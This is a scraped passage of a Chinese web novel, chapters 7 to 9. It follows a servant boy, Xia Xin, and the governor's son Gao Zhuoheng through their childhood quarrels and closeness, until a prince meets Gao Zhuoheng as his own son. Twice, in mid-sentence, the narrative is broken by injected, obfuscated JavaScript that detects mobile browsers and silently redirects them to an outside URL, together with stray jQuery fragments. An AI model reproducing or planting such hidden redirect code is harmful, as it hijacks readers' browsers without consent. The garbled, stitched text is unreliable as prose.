“其实,我当时也是一时气上头,根本没有多做考虑,若不是大人您,或许衙役打我一顿,我就又回小柳河了。”夏娘道,“大人对夏娘的恩情,如再生父母,夏娘一切都听大人的。” 孟光因她这话也红了眼眶,他不动声色的把泪忍了下去,对夏娘道:“好,那我帮你做决定。官司…就打到这儿吧。” 夏娘抬头,有些许不可置信,泪眼中又有妥协之意。看来妓院的人说的对,即使是知府也不愿得罪王家。 “你听我说,到此为止并不是咱们怕了他们。”孟光道,“只是再打下去,两败俱伤,对你对孩子,都没好处。若若的尸身没找到,王家那边正打算找人顶罪,顶罪之人若是一口咬死,是他伤了人,我也只能判他。虽可再延后等等,可等下去,也没有意义。倒不如现在拿些切实的好处。” 夏娘不说话。 “我知道,你心里仍有不平,我又何尝不是呢?”孟光便继续道:“我是真心实意为你和孩子考虑过的,你的贱籍,要改出来比较难,若是打场官司就能脱籍,整个小柳河都要去我的衙门打官司了,可孩子的户籍,是可以试试看的。我让王家那边去想办法,找关系,给夏辛办良籍,还要让他们出罚金,用来给你赎身,再就是判他们租一个摊位,付上五年的租子,你可以用来卖茶水卖脂粉,这样你和孩子就饿不着了。我想如此,你的好姐妹,在天之灵也可以安息了。” “至于王氏那几个纨绔,有我在任一日,他们都不敢再来找你。若我今后有调任,也会提前为你们考虑。” 夏娘应了下来,和孩子一起给孟光磕了头。 孟光走后,小馋虫啃烧鸡,吃了一嘴的油。 夏娘对他说:“你要记着孟大人,他是咱们娘俩的大恩人。” 小馋虫鼓着腮帮子,用力的点头:“我记住了。娘以后是不是就不用再哭了?” 夏娘点头:“嗯。” 她答应着,可眼眶却又红了。 “若若姨姨去天上了,还会再回来看我们吗?” “不会了。”夏娘道,“咱们看不着她,可她在天上能看着咱们,不过…下不来。” “为什么呢?”小孩儿不懂死亡的含义。 夏娘道:“她是…天上的仙女下凡,来人间渡劫的,劫数尽了,就又回去当仙女了。可你不能忘了她,你身上的衣服,咱们这屋子,你吃的药,都是她挣来的。” 那张薄薄的,写着「良民」的绢帛,是她的若若,用命换来的。 夏辛六岁,孟光在听闻总督府找小少爷陪读后,立即将消息告诉了夏娘,并着人跟总督府的管事打了招呼,举荐了夏辛去候选。 7. 谁稀罕帮你洗脚暖床 光盛三十五年春末,抚州城总督署后院的一处小院里,十岁的高濯衡正坐在天井下的大缸旁看金鱼。 那大缸里养了十几只各色花纹的大金鱼,狮头、丹凤、兰寿,都是稀罕的花色。 最大的两只黑色凤尾的,是从晏江的港口渡来的南洋种,有他小臂那么长。 这种肚子圆鼓鼓,脑袋长瘤,尾巴开花的珍贵小鱼,全是高承翊给他找来的,高濯衡不假人手,亲手养着。 起初养死过几条,还特地寻了花市的师傅请教怎样养鱼。如今越养越是熟稔,他悉心照料着,哥哥不在家时,他就守着水缸。 养金鱼的起因并不是因为高濯衡喜欢金鱼,而是高濯衡七岁的时候,不懂生灵宝贵,娇养在后院的小少爷比大小姐还不食人间烟火,不懂生死的含义。 六七岁,正是喜欢新事物的年纪,他看见毛茸茸的小动物觉得很是玲珑可爱,想亲近,就上手去抓。 和大多数孩子一样,高濯衡也有抱着喜欢东西睡觉的习惯,他抱着小兔子,或是攥着小鸟,睡醒了,发现手里的活物不动弹了。 他便以为小家伙还没睡醒,他会珍惜的放在怀里暖着,实则已经是被他压死,或是闷死了,偶有还剩一口气的,被他往袖子里一揣,更是求生无望了。 府中下人不会教他道理,只会投其所好,闷死了就又送。 小兔子、小鸡、小鸭子、手养的小鸟,等等等等…… 倒是没有猫儿狗儿,因为猫性子烈,他们怕抓伤了二少爷,狗又太能叫唤了,养这些东西是要避着赵蓉的。 于是就专挑些小的,不会叫唤的给。 那些手掌大小,刚出生的东西,有些甚至都等不到和高濯衡一起睡觉,他放手上玩,手劲儿稍微大一点,就能给捏死。 是高承翊回来,闻到了他身上有臭味,从袖子里掏出一只死鸟,才知道的这事儿。 高承翊发脾气,把院里伺候他的那些个下人,全打了板子。 只有夏辛逃过一劫,因为这小孩也不知道,他寻思着鸟臭了,还给偷出来洗了,放外头晾干,又给高濯衡塞回了兜儿里。 他除去夏天外,夜里都要早高濯衡上床给他暖床,捂热了后,才叫高濯衡来睡觉。原本少爷上床,他就得下床,去外间睡。 可当两个人才过到第一年的冬天时,高濯衡就发现,夏辛躺在身边,给他抱着,比一个人睡暖和多了,他把冰凉的脚放在夏辛双腿中间,让他夹着捂,手也塞他肚子里。 夏辛开始当然很不情愿,他也没多暖和,好不容易捂热的被窝,高濯衡冰冰凉的就钻进来了,还要用冰手冰脚冻他,可他不敢说,只能受着。 好在夏辛也是精的,为了不被高濯衡的脚冰着,他每日睡前都给高濯衡打热水泡脚。 让他把手脚都浸在热水里泡暖和了,才能上床睡觉。且泡暖和后,就必须立刻进被窝,不然在外头玩两圈,又得凉透了。 渐渐地,两人睡习惯了,倒是谁都离不了谁了。 自从院儿里人开始送高濯衡小动物后,高濯衡老藏着臭鸟,臭兔子,臭鸡睡觉,夏辛可发愁了。 不止一次的劝他别养这些臭东西了。 高濯衡很珍惜的从怀里把臭了的小动物掏出来,托在手心,委屈的说:“可是它刚来的时候不是这样的,是会动的,也不臭。” “它都硬了,你把它放在怀里,不硌着吗?” 当然咯了,但高濯衡死不承认的摇头。 夏辛道:“那你把它放远些可以吗?” “不行,它是我的好朋友。” 夏辛的眸子略淡于黑色,头发却很黑,夜里睡觉时散下来,他躺下后,就铺了一枕头,还打着卷儿,侧身和高濯衡说话时,就好像是一团黑云托着他的白脸蛋,浓墨洒在白纸上,是少有的不属于稚童的浓烈。 然后他就用这张漂亮脸蛋摆了一副很生气的表情:“它这么臭,你还把它当朋友,我天天给你捂被窝,我算什么?” 他问完,还不等高濯衡说话,就自己答道:“我是下人,是奴才,你娘给我发月例,我就得伺候你。” 赵蓉最不想看到的事还是发生了,俩小孩被子一盖,主子还得去哄奴才。 高濯衡脾气软,夏辛也是吃透了他,这一通说辞下来,高濯衡眼睛都红了,小声支支吾吾的说:“你…别生气啊,你也是好朋友,我们…三个都是好朋友,睡一起嘛。” “不行,我不跟臭鸟睡一起。”夏辛掀开了暖和的被窝,凉风直往里头灌,“最好的朋友只能有一个,你自己选吧,选它还是选我!” 高濯衡丢了鸟去拽他:“夏辛!你别走,你别走!” 夏辛歪着头不去看他,高濯衡看不见夏辛的表情,没有发现他狡黠的笑,还以为他真的生气了。 才六七岁的小孩儿,就知道争抢比较:“说啊,它还是我?” “你!”显然,小鸟和夏辛,那肯定是会暖床,伺候他陪他玩的夏辛更好。 夏辛得逞了,他挑着眉毛,盛气凌人地一脚把那鸟的尸体给踢到了里屋的最外头,裹了衣服要出去。 高濯衡急了,抱着他的腰,头贴在他的后背上:“都说是你了,去哪儿啊?” “打水给你洗手,你的衣服也要换了,那鸟臭死了。” 他出里屋前,还把鸟捡到了外间,给了外间守夜的丫鬟。 丫鬟们比他俩大些,大的有十五六,小的也有十一二,当然知道这鸟是死了,可她们也不说,她们伶俐着想讨好少爷,埋了死了的,再去找只活的给小少爷。 整座总督府,二少爷的院子可是最好的去处,活计最轻,食吃最好,高濯衡又好哄,又乖,出手大方,平时吃不了的东西全赏的下人,长得还漂亮,最主要的是,夫人很少到这儿来,她们跟着小少爷,一点都不拘束。 这些丫头们离他最近,都盼着再过几年二少爷大了,没准能看上一两个,拿去填房,也是飞上枝头变凤凰了。 富贵人家里,贴身丫鬟变通房,再抬了姨太太的事儿,可不少见。 于是她们都尽心伺候着,哄着,宠着,盼着等少爷懂事了,能得来青眼。这些被高濯衡养死的小动物,也只有院里人知道,他们心照不宣,没和赵蓉提过。 自那次后,高濯衡晚上睡觉就不敢再抱着小动物了,他怕夏辛又生气,但中午在藤椅或是罗汉床上小憩时,还是喜欢抱着。 这样大约过了半个来月,高承翊回家发现后,才告诉他,那是已经死了。 高濯衡双手托着他的小动物朋友,眼泪啪嗒啪嗒地往下掉。 夏辛在旁边也呆住了,原来死了是会臭的,人死了也会臭吗?那为什么娘说若若姨姨是去天上了? 高濯衡哭了很久很久,哥哥回家,他夜里就要粘着哥哥睡,高承翊没把他哄好,第二天眼睛都是肿的。 因为哥哥不止告诉他小鸟已经死了,而且还是被他攥在手心,抓死的。 孩子根本接受不了。 高濯衡道:“我是真的很喜欢它们。” “哥哥知道。”高承翊道,“但你的方式不对,你拘着它们,把它们攥在手里,你的喜欢害死了它们。” 他循循善诱道:“往小了说,是动物,往大了说是人,你喜欢,就得先知道怎么做才能让他们活下去,且活得好。你所谓的喜欢,只满足了你自己的占有欲,只汲取不付出,或是错误的付出,会害死你喜欢的动物,也会把喜欢的人越推越远。” “那…我该怎么办?”高濯衡问。 于是高承翊给他买了金鱼。 鱼不能离开水,不可以抱着睡。他让高濯衡仔细学着该怎么养鱼,一定要好好养着,养活了养好了,才能抵消他养死那么多小动物的罪过。 翌日同样也在思考死亡的夏辛告诉了高濯衡他有一个叫若若的姨姨,也已经死掉很久了,但他娘还一直记着。 “我娘说,只要我们还记得若若姨姨,她在我们心里就没有死。”他这么说也是意图安慰高濯衡,他知道二爷心软,不是故意给养死的,“我已经忘记若若姨姨长什么样子了,我那时候才三岁,如果不是我娘经常提起她,或许就连名字我都不记得了。但因为我娘常说起她,我就也觉得她没死。”夏辛道,“我娘每年清明、冬至还有年初一,都要给若若姨姨烧纸钱。我娘说,好人死了,是可以去天上当神仙的。” “那我的兔兔,小鸟呢?也能当神仙吗?”高濯衡问。 夏辛皱了皱眉,否定了:“哪有什么东西都能当神仙的。” 高濯衡天真的想法没有在夏辛那得到认可,这是很少发生的事,夏辛该顺着他说才对,无论能不能,他都该说能才对。 于是二少爷开始发脾气,他哭着吼道:“夏辛是坏东西,我的兔兔、小鸟们也能当神仙的!” “哈?你说我是坏东西?你怎么能说我是坏东西!那你以后再要跟我睡一起,可不行了!”夏辛小嘴一撅,也不惯着他,“你抱着你的臭兔子臭鸟,和大爷给你那一缸子臭鱼睡吧!它们才不可能当神仙呢,臭成那样都能当神仙,天上岂不是都臭了!” 哥哥回来了,高濯衡就不稀罕他了:“哼,我跟我哥睡去。” 夏辛听他这么说,觉得自己被撇下了,似乎在高濯衡心里,他真的不是那么重要,他立马慌了,开始口不择言:“那我就去找夫人告状!夫人上次都说了,不让你打扰大少爷休息。还有你捏死那么多鸟的事,夫人要是知道了…” 高濯衡眼泪汪汪,可不耽误他一巴掌拍到了夏辛的嘴上:“坏东西,打嘴!” 他打第一下的时候,夏辛还能忍住,再拍第二下时,夏辛也开始哗哗掉眼泪。 其实不疼,高濯衡没用力,只是想阻止他说话而已,可这两下是「他的二爷」打的这件事儿,就足够让夏辛伤心了。 都是小孩儿,谁比谁大呢,都不让着。更何况他是真委屈,说好的最好的朋友呢? 冬天冷,能用上他的时候,就抱着他说是最好的朋友,今儿老大回了,这老二用不上他了,他就成了坏东西。 “你…你才是坏东西呢!”夏辛委屈得下巴都在发抖。 高濯衡气鼓鼓的哼了声:“有本事你就去说,你要是敢说,我就把你赶出去,再也不和你好了!” 他说完,转头就跑出去找他大哥了。 屋里只剩了夏辛一个,他越想越难受,蹲下抱着头就开始哭。 还是进来洒扫的丫鬟姐姐瞧他哭,开口安慰他:“哟,这是怎么了?跟二爷拌嘴了?” 他俩拌嘴也不是头一次,年纪小就是这样,一会儿哭一会儿笑的,院子里人都习惯了。 夏辛抬头,脸都哭红了:“爷们儿说要赶我走。” 丫鬟蹲下安慰他道:“哪儿能啊,整个院儿里,二爷最喜欢和你玩儿。等大少爷一走,他保准又回来粘着你。” 他听着心里更不是滋味儿了。 没错,整个院儿里,高濯衡最喜欢和他玩儿,是院儿里,他还没见着院儿外的人呢! 下人夏辛只有少爷高濯衡一个朋友,他从到府上的第一天开始就围着少爷转,可少爷有大哥,以后还会有很多很多朋友。 想到这儿,夏辛哭得更大声了。他是想通过哭泣得到高濯衡的安慰。 可他那时候太小了,没想到一个人哭是没用的,得找个人去告诉高濯衡,他的好朋友夏辛,因为他的抛弃,哭得喘不上气儿,让高濯衡知道才行。 没人去告诉高濯衡,他没等来想要的安慰。却还记得二爷那缸子鱼得喂食儿。 众人就见留着长长卷毛穿着深色布衣的小孩儿,边哭边拿着鱼食碗,站在比他才矮了一个头的大缸面前,踮着脚给里头的金鱼洒食儿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101020|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >再等到夜里高濯衡回来的时候,夏辛裹着被子,在外间的长榻上守夜,身旁还睡着个小厮。 本来他若睡里间,这外榻上是两个小丫鬟的位置,他今儿死活不进去,占了人家的位置,人家只好去后屋睡了,留了个小厮和他一起守夜。 这会儿那小厮已经睡着了,听见声儿迷迷糊糊坐起来揉着眼睛:“二爷回来了?” 他要起身,高濯衡冲他摆摆手:“你睡吧,我洗过来的。” 小厮本想躺回去,可歪头瞧见夏辛还坐着,依旧板着个脸,知道他还气着呢。虽然二爷年纪小好说话,但院儿里敢给他摆脸子的,就只有夏辛了。 他用手肘戳了夏辛一下,夏辛不说话。他此前也劝了半天,咱们做奴才的,哪有跟主子置气的呢。 可没劝好,他便替夏辛下床给高濯衡脱靴子,小厮殷勤地问:“还以为您要留在大爷那儿呢。” 高濯衡嘟囔着,不情不愿的说:“我也想的,可娘亲说我七岁了,不是三岁小孩儿了,还说哥哥卯时就要起,我昨日闹着不让他起床,害他迟了早课,不让我睡那了,她找嬷嬷去叫了两次门,我再不走就要受罚了。” 夏辛听着,心道:活该! 小厮又问:“怎么没叫人来院儿里说一声,咱也好去接您来,是大爷送您回来的吗?” 高濯衡道:“哥哥说在府里头,路又不远,让我提着小灯小心脚下,自己走回来的。” “什么?”夏辛听他这么说,立刻急了,抖了被子跳下床,去检查高濯衡身上有没有磕了碰了的,像老妈子一样拍他身上不存在的灰:“他怎么能让你一个人走回来呢!万一踩着坑摔着呢?万一被猫啊狗啊吓着呢!天那么黑呢。” 看这俩人之间似乎有所缓和,小厮在一旁笑着解围道:“廊下都点着灯呢,路也不长。” 夏辛还没变声,小男孩声音一高就尖得钻耳朵:“那也不行啊!” 实则高承翊把弟弟当心尖宝,嘴上让他自己走,待高濯衡出门后,他就摸黑跟在了后头,亲眼瞧他进了屋才放心离开。 高濯衡也没消气呢,他不搭理夏辛。 夏辛见高濯衡不看自己,便停了手,偏过头哼了一声。 高濯衡仍旧不看他,兀自走去了里间。夏辛被他漠视的态度气得要命,双手啪地拍在了桌上。 那声音,吓得一旁的小厮脸都绿了。 那小厮十三四岁,比他俩大了一轮多,可也没见过奴才给主子使脸色,奴才跟主子拍桌子的,现愣着不知该怎么劝。 后屋的丫鬟们也听见了声音,怕小公子夜里摔了,都披着衣服赶过来看。 高濯衡转身,就见夏辛红着眼睛盯着他:“你…没看出来我哭了吗?” 几个丫鬟推门进来,就瞧见俩人对阵的架势。 高濯衡还是不说话,又转身往里屋走去。 夏辛死死盯着高濯衡小小的背影,眼泪滚滚往外淌。 一旁的小厮拽了拽他的袖子,小声道:“行了别闹了,睡吧。” 夏辛不理会他,带着哭腔对高濯衡说:“你不是要赶我走吗?怎么不去跟夫人说?你去说了,我现在就走,谁稀罕帮你洗脚暖床啊。” 下午时哥哥告诉他动手打人是不对的,让他回来后要和夏辛说清楚。 要告诉夏辛,和主子说话,需有分寸,而他虽为主子,也不可随意打骂下人。 高承翊:“驭下之策,不可与之过分亲密,且需恩威并施。” 可高濯衡也明白,夏辛正是因为真心待他,没有私心,才敢在他面前闹脾气。 都是天真无邪的年纪,一起长大的情谊好就好在没有大人那些心机试探。 他不忍苛责,也不愿对夏辛用所谓的御下之策。他也不喜欢御下之策这个词,无论是幼时,还是多年以后。 高濯衡关上门,从门缝里偷偷打量夏辛,夏辛当然看到了他那么大一个影子,久久趴在门边上不走。 便也清楚高濯衡不会真的赶他走。 俩小孩都憋着,就等着对方先服软。 丫鬟们互相对视了一眼,就要回去睡了,小厮也把夏辛往榻上拽:“再闹下去,夫人知道了,可真得把你赶出府了。快睡吧,夜都深了。” 这句话立马点炸了夏辛,他吸了吸鼻子,抽抽着转过身:“不用他去说,我自己去说,现在就去,你们也去说,都去说,说我蹬鼻子上脸!说我跟二爷吵架!我今晚就收拾包袱滚蛋!” 高濯衡懂夏辛的狡猾,他总这样,无论是选谁,还是去留,都是夏辛在试探他在高濯衡心中的分量。 你真的能离了我吗?你到底还需不需要我? 我对你来说和院儿里那些人一样吗? 你真的会把我换掉吗?换一个来,你也让他给你洗脚,给你暖床,夜里也抱着睡吗? 除了他娘,他只抱着高濯衡睡过觉,有个大哥也就算了,凭什么别的小厮、丫鬟也能上他的床? 他想不明白这些为什么会让他生气,只一味的知道他受不了高濯衡的床上会躺着除他以外的人,故而迫切的讨要着他不同于别人的证明。 高濯衡清楚这一点,他不认为夏辛真的会走,但他也清楚,这人骨子里比他还傲,心比天高,少爷脾气下人命。 夏辛往外跨了一步,丫鬟们堵门拦着他。 “哎哟!这是闹什么啊!都夜里了,睡一觉,你俩都散散气。” “就是就是,昨儿还好得吃一碗蒸乳糕呢。” “有什么事儿,咱们院儿里说清楚就成了,闹到夫人面前,连累大家伙儿跟你一块儿受罚。” “你体谅体谅姐姐们。你想吃什么喝什么,姐姐们什么时候跟你抢过。” 这边七嘴八舌,夏辛一点听不进去,跟头小牛似的要往外钻。 却听里屋的门板吱呀一声,被高濯衡推开了。 8. 我是高濯衡,你是谁? 于是屋里瞬间安静下来,只剩下夏辛为讨怜惜,故意发出的抽泣声。 他下午真哭的时候,哭得可难听了,又尖又大嗓门儿,还淌鼻涕。 可现在这招儿,是在小柳河的女人们那学来的,哼哼唧唧像讨饶的小猫小狗。 白净的脸蛋哭红了眼睛和鼻尖,淌着两行清泪,下唇微微发抖,像个一碰就碎的瓷娃娃。 高濯衡没迈步子,只站在门里头。 他抬起手,手背朝上手心朝下,四指朝里勾了勾。 他甚至没说「过来」。 夏辛便飞奔过去抱住了他。门口的丫鬟们都看呆了,他这样活像一只要粘着主人的小狗。 他俩年岁一样,个头也差不多,高濯衡要更圆润些,夏辛这样抱过去,高濯衡的小肉脸都挤在他肩膀上。 高濯衡被他的双臂挤着,说话有些瓮声瓮气:“我不该打你。” 夏辛松开他,牵住他的手道:“不疼的,我知道你没使劲儿,是我说错话了,你的那些鸟啊,兔子的,也会去天上的。” “你说的对,那么臭…” “到天上就不臭了,天上的仙女也养兔子和鸟呢,肯定能上去的。”夏辛道,“只不过,你可不能再把你哥送你的鱼养死了。你今儿走了都没顾上它们,食儿还是我喂的。” 夏辛小小的抱怨着:“我只是不服气,你怎么能为了那些打我呢?不是说我更重要吗?你诓我的?” “我没有诓你。”高濯衡的小肉手被夏辛攥着,抽都抽不开。 “你就是!” “我没有。” 夏辛道:“你怎么证明?” 高濯衡问:“那…你想怎么证明?” 夏辛道:“跟爷们儿讨个赏行吗?” 小厮丫鬟们在门边儿听着,心道:这夏辛年纪不大,可真会讨巧啊。哭这一通,原来是在要赏呢。奈何咱们二爷就是吃他这一套,就是跟他好。 高濯衡愣了愣,问道:“你想要什么我不给的。” “你就说行不行?” 高濯衡点头:“行。” 夏辛用高濯衡的手背擦眼泪:“你说,好夏辛不哭了。” “这就是你要讨的赏?”高濯衡问。 “你快说!”小孩儿娇气起来,是真的难缠,“这很重要的。” 高濯衡只好顺着他说:“好夏辛不哭了。” 夏辛道:“你在我心里是最重要的。” “我哥…”高濯衡可不愿意说谎。 夏辛立即打断他:“行行行,除去爹娘大哥以外,你在我心里是最重要的。” 高濯衡道:“除去爹娘大哥以外,你在我心里是最重要的。” 夏辛满意的点点头,脸上有了笑意:“除了你,我不会让别的下人帮我捂被窝。” “除了你,我不会让别的下人帮我捂被窝。”这倒是真的。 因为高濯衡挺嫌弃别人的,只有夏辛最干净,伺候得周到,长得也好。 夏辛继续说:“我和夏辛,一辈子都会在一起,永远不分开。” 高濯衡确实没想过要和夏辛分开,他还小,他觉得他会一直这样,在总督署的后院和夏辛一块儿长大,以后要去哪儿也会带着夏辛。 一直让夏辛给他暖床,等夏辛长大了,块头大了,被子肯定能捂得更热些。 于是他便又道:“我和夏辛,一辈子都会在一起,永远都不分开。” 夏辛攥着高濯衡的手微微有些发抖,他听二爷这样说,心里既高兴又忐忑,永远那么远,童言无忌时的承诺,又浅又短。 末了,夏辛问:“你上次惹大少爷生气,是怎么哄他的?” 高濯衡这下懂了,原本因不解皱着的小脸也笑开了,对着夏辛的脸蛋,吧唧吧唧左右两边各亲了一口:“我还道什么呢,你直接叫我亲你就是了。” 孩子们对吻还没有太深的认知,夏辛常被女人们亲脸蛋,夏娘也会亲他的脸蛋。 而高濯衡更多的时候,是亲大哥高承翊的脸。 哥哥出门,会蹲下微微侧过脸,把脸颊给他:“二宝亲一口。” 他就会扑上去,嘬一大口。 哥哥回家,他小跑去迎,高承翊会把他抱起来,也在他脸蛋儿上亲一口:“二宝有没有好好吃饭?” 高濯衡响亮地回答:“有!” 高承翊就会说:“二宝要多吃饭,不能挑食,才能长大长高。” 在孩子们的认知中,这样的亲吻,是亲昵和喜欢的证明。高濯衡也只亲哥哥、夏辛,还有赵蓉。 他们这样的门户,父子之间更重礼教,除了问学外,他和高琰几乎说不上话,自然不会有太亲密的亲吻。 至于赵蓉,高承翊六岁后,赵蓉就一直教他男子汉不可以总撒娇,男女有别,长大了,即使是母子,也不可以亲吻。 所以他只在赵蓉高兴的时候,偶尔啄一下她的脸,他还是很喜欢娘亲,想和她亲近的。 夏辛受了两大口,心里高兴的要命,脸上却又郑重道:“话说了,还盖了章,就不能再变了。” “什么时候盖了章?”高濯衡问。 夏辛指了指自己的脸颊,高濯衡才反应过来,那两个吻,是盖章。 夏辛道:“你要是反悔了,我就…” 他一个下人,根本没有能威胁到少爷的东西,唯独只有自己这单薄的身躯和他所重视的这份自幼相伴的情谊,他渴望着高濯衡也能重视这两样东西。 “我就让你再也见不到我。” 他担心高濯衡没听清楚,不够明白:“你重复一遍。” “我就让你再也见不到我?”高濯衡道。 夏辛:“错了,反过来,认真点,真的!” 高濯衡闻言,像模像样地站直了身子,睁大眼睛,真的正经起来:“如果我反悔了,夏辛会让二宝再也见不到他。” 夏辛看着高濯衡的眼睛点点头:“嗯,对。”他小声在高濯衡耳边说,“高二宝说的对。” 这个土气的像农家娃娃的名字,是哥哥玩笑时叫的,生气时就叫他高二。 夏辛是仆人,若这样叫是对主子不敬,可他就爱小声的在高濯衡耳边这样叫他,他知道二爷不会生气。他挺喜欢这个名字,高濯衡和夏辛有着天壤之别,可高二宝就不会,像是邻居家孩子的名字。 二少爷说完立马懈怠下来,他没把这当回事儿,咧嘴一笑:“你打算躲去哪儿呀?”他自信道,“你躲哪儿我都能给你揪出来。” 高濯衡牵着夏辛往床那边走:“我困了,睡觉吧。” 小院里,这才消停下来,大家都回屋,熄灯,睡觉。 夏辛躺上床搂住了身边的高濯衡,他俩虽然夜里睡一张床,可除了冬天太冷,很少会抱着睡,当然有时白天玩得特别高兴,觉得和对方天下第一最最好,晚上自然会抱着睡,可夜里睡热了,肯定会分开。 抱的话,也不是这样抱着,这是个夏辛单方面将高濯衡搂在怀里的拥抱,很像他和哥哥睡一起时,大哥抱他的抱法。 哥哥比他大了七岁,能将二宝整个包在怀里,靠着特别舒服,可夏辛只是比他高了一点点,还瘦瘦的,有些硌人。 高濯衡难受地推了推:“这样不舒服。” “那…我手臂给你当枕头?”夏辛调整了一下姿势,不抱得那么紧。 高濯衡躺平,往他肩旁缩了缩:“手麻了就叫醒我啊。” “嗯。”夏辛喜滋滋地笑了,“爷们儿真好。” “切,头一天知道我好?”高濯衡白了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101021|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一眼。 夏辛这样看着怀中的小孩儿,很像亲一亲他的嘴巴,那个妓子们起哄要亲,他娘却说只能给婆姨亲的嘴巴。 夏辛微微凑近了一点,鼻尖相对,温热的呼吸喷在鼻子脸上,高濯衡感应到他的靠近,睁开了眼睛,大大的亮亮的,黑白分明,眨巴眨巴对他笑。 夏辛只要微微噘个嘴就能碰到高濯衡的唇,却突然心虚的垂眸,拉开了些距离。 「夏辛!你在干嘛啊! 他…他是主子!还是个男的!你们都还是小孩子!不能随便亲嘴巴的!嘴巴…不行的!」 他闭起眼睛,试图幻想未来那个香香软软,穿着大红喜服嫁给他的好看婆姨,可闭上眼睛全是高濯衡带笑的肉乎脸。 他晃晃脑袋,睁眼,微弱的烛光下,也是高濯衡那张肉乎脸。 “我能把灯吹了吗?”夏辛心虚,想着暗些就看不清了。 少爷怕黑,夜里要留盏灯在床头。 不过有夏辛睡在旁边,他就不是特别害怕了。 “嗯…”高濯衡闭着眼,轻轻的嗯出的这声,他已经很困了。 夏辛吹掉一盏灯,缓缓躺回被子里,一手托住高濯衡的头,把手臂放回了高濯衡后颈处。直到早起前,他都没收回手臂。 水缸里的鱼多了几条,时光前进到了十岁的春末。 高濯衡站起身叹了口气,他被赵蓉罚站三日规矩,今天下午还得去站最后一下午。 夏辛是他贴身的人,事儿也是因夏辛起来的,便也要跟着他一起去罚站。 从他的小院儿到赵蓉那,要绕过一个小园子。 园子临水,有水廊连接水榭,这时水面上已经铺了些荷叶,还没见着花。 水里也有高濯衡放的金鱼,他的缸子装不下了,就会把鱼放进这池子里。 俩人一前一后走着,夏辛自责的说:“爷是受我连累了。” “不关你的事,母亲是气我在她面前耍心眼儿。” 十岁和六七岁又不同了,那时只是爱撒娇,还带着些无知的憨傻。只短短三年,咱们二爷长了脑子,知道拐弯儿算计了。 可这好容易算计一回,立马被赵蓉看穿,得了一顿教训。 这边两人正走着,绕过假山,却见高琰正带着一个中年男人,在水榭中喝茶。 那边两人也看见了他们。 高濯衡是有些怕高琰的,立马站定,作揖鞠躬,夏辛也连忙站在高濯衡身后垂下头。 他等父亲挥手让他走,却不料那两人朝他们走了过来。 另外那个穿着织金袍子的中年男人走的更快些,赶在高琰之前到了俩孩子面前。 他看了看旁边卷卷头发的夏辛,想起了那个他还养在江南某处院子的有胡人血统的外室。 若这两个孩子都穿锦衣,他也得愣神,可高濯衡少爷打扮,夏辛还是简单的深色布衣,一看就知道谁是少爷谁是下人。 那男人便打消了疑虑,只对着高濯衡道:“你是衡儿吧。” 高濯衡抬头打量那人。 李睦炜这才彻底看清高濯衡的脸,不同于那位外室,他丝毫没有胡人的特征。 目明而长,发直而黑,眼睫微微遮了部分瞳仁,皮肤细腻,阳光打在他脸上,能看到细小的白色绒毛,像一颗白里透红的水蜜桃。 鼻子还有些小,却能从山根的起点看出将来挺立的走势,鼻尖小巧,而他的下半边脸,活像一个人——李睦炜的君父,那位端坐金殿上的当今。 这张脸,李睦炜看了都惊了一下。 “我是高濯衡,你是谁?” 李睦炜转头看着走过来的高琰,眸中是赞许:“孩子十分可爱,说话也老成机灵。” 高琰道:“衡儿,这是燕王殿下。” 9. 刺青 高濯衡又行了一礼。 一旁的夏辛已经跪下,干脆头朝地,等着他们放人再起了。 李睦炜笑问:“你这是要到哪里去啊?” 他不能说自己去站规矩,便道:“衡儿正要去给母亲请安。” “哦。”李睦炜一笑,“倒是很懂规矩。” 十年了,要不是今日见了,他早想不起来还有这么个儿子,因那外室身份低贱,又有一半胡人血统,他就没打算把这么个小杂种带回王府。 可今日一见,板板正正的白胖大儿子,就像天上掉下来白捡似的,让李睦炜有了些把他认回去的想法。 他膝下子嗣不多,起初夭折了两个侧室生的儿子,一个三岁,一个七岁,后头妃子们又接连生了两个死胎。 再后来王妃生了老三,是嫡子也是唯一活着的长子,如今十四了,可越长越胖,模样很不讨喜,书读得也是不上不下。 老四夭折,老五是个丫头片子。 下头有个侧室生的老六,今年七岁。 他盘算着,把高濯衡接回去,把姓改回来,叫李濯衡,让他顶了夭折的老四,让正妃给他当嫡母。 这样想着,李睦炜伸手摸了摸高濯衡的脸。 到时他那位父皇看见这张与他极为相似的脸,又会有什么反应呢?毕竟那位君父时常觉得儿子们没有一个像他。 他总说李睦炜性格很像他,但长得不像,太子与他长得倒有六分像可性格又太过仁懦,遇事总迟疑不决,少了为君者的气魄。 也正是因为父皇如此说过,他才对那个位置有了期待。父皇应是看重他的,不然也不会把南巡这样的大事交给他,他的封地在北边。迟迟不催他就藩,留用在身侧,或许是君王对他的考验吧。 再给他添上一位与他长相如此相似的皇孙,岂不是锦上添花。 孩子却在被他触碰到脸颊时,微微往后退了一步,并用求助的目光看向高琰,他在等父亲一句:你们走吧。 李睦炜还是笑的:“你看着他做什么?” 他已经代入到了父亲的角色,小孩儿可爱,他忍不住想逗逗。 高濯衡内心:咦…怪…怪叔叔… 他还没练成往后表面波澜不惊的功夫,小小的脸上,是大大的嫌弃。 高琰竟少见的放下威严,看见高濯衡的反应被逗笑了:“孩子有警惕,非坏事,王爷还需循循善诱。” 